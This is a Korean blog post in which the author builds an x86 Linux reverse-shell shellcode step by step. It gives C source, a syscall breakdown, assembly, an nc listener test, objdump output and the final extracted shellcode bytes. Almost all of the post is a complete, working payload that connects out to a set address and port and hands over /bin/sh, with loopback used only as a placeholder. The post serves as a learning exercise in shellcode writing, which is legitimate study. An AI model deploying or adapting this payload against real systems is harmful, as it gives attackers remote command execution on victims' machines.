reverse shellcode가 필요했는데, 쉘코드 만드는 경험도 되새길 겸, reverse shellcode를 한 번 작성하기로 했다. 열려있는 상대방의 포트에 접속하여 쉘을 제공해준다.
int main(int argc, char** argv){
struct sockaddr_in addr;
int sockfd;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(12345);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh",0,0);
return 0;
}
dup2 함수는 file descriptor를 복사하는 함수인데, sockfd를 0, 1, 2에 등록시켜 쉘을 실행했을 때 발생하는 모든 입출력을 소캣으로 돌려버려, 상대방 서버에서 입출력이 가능하도록 할 수 있다.
이제 이 코드를 쉘코드로 만들어보자. 다음을 구현하면 된다.
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 ECONNREFUSED (Connection refused)
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", NULL, NULL) = 0
#define으로 전처리된 값과 각 syscall을 찾아보면 다음과 같다. syscall은 인자를 레지스터(ebx, ecx, edx)로 갖는데, syscall에서 subcall을 부를 경우, ebx에는 해당 subcall number가 들어가고, ecx에는 해당 subcall의 인자 배열의 주소 값이 들어간다.
=====================================================
socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
-----------------------------------------------------
socketcall() => syscall 0x66
socketcall_subcall() => SYS_SOCKET(1)
AF_INET => 2
SOCK_STREAM => 1
=====================================================
connect(3, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("127.0.0.1")}, 16)
-----------------------------------------------------
socketcall() => syscall 0x66
socketcall_subcall() => SYS_CONNECT(3)
=====================================================
dup2(3, 0)
-----------------------------------------------------
dup2 => syscall 0x3f
=====================================================
execve("/bin/sh", 0, 0)
-----------------------------------------------------
execve => syscall 0xb
뚝딱뚝딱 어셈블리로 짜보자
.global main
main:
# sockfd = socket(AF_INET, SOCK_STREAM, 0);
# AF_INET = 2, SOCK_STREAM = 1
push $0x0
push $0x1
push $0x2
xor %ebx, %ebx
inc %ebx # socketcall_subcall() => SYS_SOCKET(1)
mov %esp, %ecx
xor %eax, %eax
mov $0x66, %al
int $0x80
mov %eax, %esi
# connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
# struct in_addr {
# u_long s_addr;
# };
# struct sockaddr_in {
# short sin_family;
# u_short sin_port;
# struct in_addr sin_addr;
# char sin_zero[8];
# };
# sizeof(addr) = 0x10
push $0x0101017f # ip 127.0.0.1
pushw $0x3930 # port 12345
pushw $0x0002 # sin_family = AF_NET = 2
mov %esp, %ecx
inc %ebx
inc %ebx # socketcall_subcall() => SYS_CONNECT(3)
push $0x10
push %ecx
push %esi
mov %esp, %ecx
xor %eax, %eax
mov $0x66, %al
int $0x80
# dup2(sockfd, 0), dup2(sockfd, 1), dup(sockfd, 2)
# dup2 => syscall 0x3f
mov %esi, %ebx
xor %ecx, %ecx
mov $0x0, %cl
mov $0x3f, %al
int $0x80
inc %ecx
int $0x80
inc %ecx
int $0x80
# execve("/bin//sh", 0, 0)
# execve => syscall 0xb
xor %ecx, %ecx
xor %edx, %edx
xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %edx
push %ebx
mov %esp, %ecx
mov $0x0b, %al
int $0x80
잘 만들었으니 컴파일하고, 한쪽에는 nc를 이용해서 listen 모드로 포트하나 열어놓고 만들어놓은 revershell을 실행해보자
> nc -lvp 12345
...
> gcc -m32 -o reverseshell reverseshell.s
> ./revershell
잘된다!
[xavius@localhost remoteshell]$ objdump -d remoteshell2 | grep "<main>" -A 50
08048398 <main>:
8048398: 6a 00 push $0x0
804839a: 6a 01 push $0x1
804839c: 6a 02 push $0x2
804839e: 31 db xor %ebx,%ebx
80483a0: 43 inc %ebx
80483a1: 89 e1 mov %esp,%ecx
80483a3: 31 c0 xor %eax,%eax
80483a5: b0 66 mov $0x66,%al
80483a7: cd 80 int $0x80
80483a9: 89 c6 mov %eax,%esi
80483ab: 68 7f 01 01 01 push $0x101017f
80483b0: 66 68 30 39 pushw $0x3930
80483b4: 66 6a 02 pushw $0x2
80483b7: 89 e1 mov %esp,%ecx
80483b9: 43 inc %ebx
80483ba: 43 inc %ebx
80483bb: 6a 10 push $0x10
80483bd: 51 push %ecx
80483be: 56 push %esi
80483bf: 89 e1 mov %esp,%ecx
80483c1: 31 c0 xor %eax,%eax
80483c3: b0 66 mov $0x66,%al
80483c5: cd 80 int $0x80
80483c7: 89 f3 mov %esi,%ebx
80483c9: 31 c9 xor %ecx,%ecx
80483cb: b1 00 mov $0x0,%cl
80483cd: b0 3f mov $0x3f,%al
80483cf: cd 80 int $0x80
80483d1: 41 inc %ecx
80483d2: cd 80 int $0x80
80483d4: 41 inc %ecx
80483d5: cd 80 int $0x80
80483d7: 31 c9 xor %ecx,%ecx
80483d9: 31 d2 xor %edx,%edx
80483db: 31 c0 xor %eax,%eax
80483dd: 50 push %eax
80483de: 68 2f 2f 73 68 push $0x68732f2f
80483e3: 68 2f 62 69 6e push $0x6e69622f
80483e8: 89 e3 mov %esp,%ebx
80483ea: 50 push %eax
80483eb: 89 e2 mov %esp,%edx
80483ed: 53 push %ebx
80483ee: 89 e1 mov %esp,%ecx
80483f0: b0 0b mov $0xb,%al
80483f2: cd 80 int $0x80
80483f4: 90 nop
쉘코드만 쫙쫙 뽑아내면 다음과 같겠다.
[xavius@localhost remoteshell]$ for i in $(objdump -d remoteshell2 -M intel| grep "<main>" -A 50 | grep "^ " | cut -f 2);do echo -n '\x'$i; done; echo
\x6a\x00\x6a\x01\x6a\x02\x31\xdb\x43\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc6\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x6a\x02\x89\xe1\x43\x43\x6a\x10\x51\x56\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb1\x00\xb0\x3f\xcd\x80\x41\xcd\x80\x41\xcd\x80\x31\xc9\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90
reference :
'좀 열심히 쓴 글' 카테고리의 다른 글
IL2CPP 메타데이터 노출 취약점 대응 방안 (4) | 2020.03.06 |
---|---|
시스템 수준 입출력(I/O) (0) | 2019.05.17 |
free.c 상세 분석일지 2 (glibc-2.25) (0) | 2019.04.16 |
malloc.c 상세 분석일지 1 (glibc-2.25) (0) | 2019.04.15 |
TLS Handshake (0) | 2018.09.21 |